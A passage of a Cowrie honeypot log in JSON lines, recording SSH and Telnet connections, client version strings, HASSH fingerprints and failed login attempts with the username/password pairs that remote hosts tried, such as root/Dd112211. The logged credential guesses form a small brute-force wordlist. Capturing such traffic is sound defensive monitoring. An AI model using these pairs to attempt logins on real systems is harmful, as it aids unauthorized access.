a-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:29:52.630601Z","src_ip":"171.25.158.82","session":"325a90778ab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wqadmin","password":"wqadmin","message":"login attempt [wqadmin/wqadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:29:53.607630Z","src_ip":"171.25.158.82","session":"325a90778ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:29:54.728935Z","src_ip":"171.25.158.82","session":"325a90778ab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":44010,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d915616bdde","protocol":"ssh","message":"New connection: 103.27.238.114:44010 (159.203.135.109:22) [session: 8d915616bdde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:07.129814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:07.143988Z","src_ip":"103.27.238.114","session":"8d915616bdde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:07.419745Z","src_ip":"103.27.238.114","session":"8d915616bdde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101086","message":"login attempt [root/101086] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:08.247230Z","src_ip":"103.27.238.114","session":"8d915616bdde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:09.523878Z","src_ip":"103.27.238.114","session":"8d915616bdde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":49042,"dst_ip":"10.17.0.5","dst_port":22,"session":"d103596f926a","protocol":"ssh","message":"New connection: 103.172.78.219:49042 (10.17.0.5:22) [session: d103596f926a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:18.369173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:18.376871Z","src_ip":"103.172.78.219","session":"d103596f926a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:18.629740Z","src_ip":"103.172.78.219","session":"d103596f926a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123423","message":"login attempt [root/123423] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:19.378606Z","src_ip":"103.172.78.219","session":"d103596f926a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:20.633495Z","src_ip":"103.172.78.219","session":"d103596f926a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.55.131.3","src_port":49534,"dst_ip":"159.203.135.109","dst_port":23,"session":"517c720f2330","protocol":"telnet","message":"New connection: 203.55.131.3:49534 (159.203.135.109:23) [session: 517c720f2330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:26.721959Z"}
{"eventid":"cowrie.session.closed","duration":14.865182399749756,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:41.587003Z","src_ip":"203.55.131.3","session":"517c720f2330","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.227","src_port":34102,"dst_ip":"159.203.135.109","dst_port":22,"session":"deba7f216fe3","protocol":"ssh","message":"New connection: 103.13.206.227:34102 (159.203.135.109:22) [session: deba7f216fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:47.596676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:47.601198Z","src_ip":"103.13.206.227","session":"deba7f216fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:47.840336Z","src_ip":"103.13.206.227","session":"deba7f216fe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd112211.","message":"login attempt [root/Dd112211.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:48.827980Z","src_ip":"103.13.206.227","session":"deba7f216fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:50.070456Z","src_ip":"103.13.206.227","session":"deba7f216fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":43588,"dst_ip":"10.17.0.5","dst_port":22,"session":"276829e6d7d2","protocol":"ssh","message":"New connection: 103.98.149.87:43588 (10.17.0.5:22) [session: 276829e6d7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:53.275836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:53.400091Z","src_ip":"103.98.149.87","session":"276829e6d7d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:53.649265Z","src_ip":"103.98.149.87","session":"276829e6d7d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"masha1","message":"login attempt [root/masha1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:55.060363Z","src_ip":"103.98.149.87","session":"276829e6d7d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:30:56.474160Z","src_ip":"103.98.149.87","session":"276829e6d7d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":40558,"dst_ip":"10.17.0.5","dst_port":22,"session":"7807be9402c0","protocol":"ssh","message":"New connection: 193.228.128.84:40558 (10.17.0.5:22) [session: 7807be9402c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:31:31.913178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:31:31.918144Z","src_ip":"193.228.128.84","session":"7807be9402c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:31:32.020360Z","src_ip":"193.228.128.84","session":"7807be9402c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveyou2012","message":"login attempt [root/loveyou2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:31:32.326089Z","src_ip":"193.228.128.84","session":"7807be9402c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:31:33.431291Z","src_ip":"193.228.128.84","session":"7807be9402c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.82","src_port":58524,"dst_ip":"159.203.135.109","dst_port":22,"session":"86645fa87ea8","protocol":"ssh","message":"New connection: 171.25.158.82:58524 (159.203.135.109:22) [session: 86645fa87ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:31:35.710628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:31:35.721047Z","src_ip":"171.25.158.82","session":"86645fa87ea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:31:35.828252Z","src_ip":"171.25.158.82","session":"86645fa87ea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd112211.","message":"login attempt [root/Dd112211.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:31:36.343182Z","src_ip":"171.25.158.82","session":"86645fa87ea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:31:37.501003Z","src_ip":"171.25.158.82","session":"86645fa87ea8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":35528,"dst_ip":"10.17.0.5","dst_port":22,"session":"912ed4a81637","protocol":"ssh","message":"New connection: 62.133.62.83:35528 (10.17.0.5:22) [session: 912ed4a81637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:31:38.296212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:31:38.303254Z","src_ip":"62.133.62.83","session":"912ed4a81637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:31:38.376806Z","src_ip":"62.133.62.83","session":"912ed4a81637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01234567890","message":"login attempt [root/01234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:31:38.685536Z","src_ip":"62.133.62.83","session":"912ed4a81637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:31:39.767441Z","src_ip":"62.133.62.83","session":"912ed4a81637","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.8.142","src_port":62949,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e9a90dc9949","protocol":"ssh","message":"New connection: 104.194.8.142:62949 (10.17.0.5:22) [session: 5e9a90dc9949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:20.556465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:20.561229Z","src_ip":"104.194.8.142","session":"5e9a90dc9949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 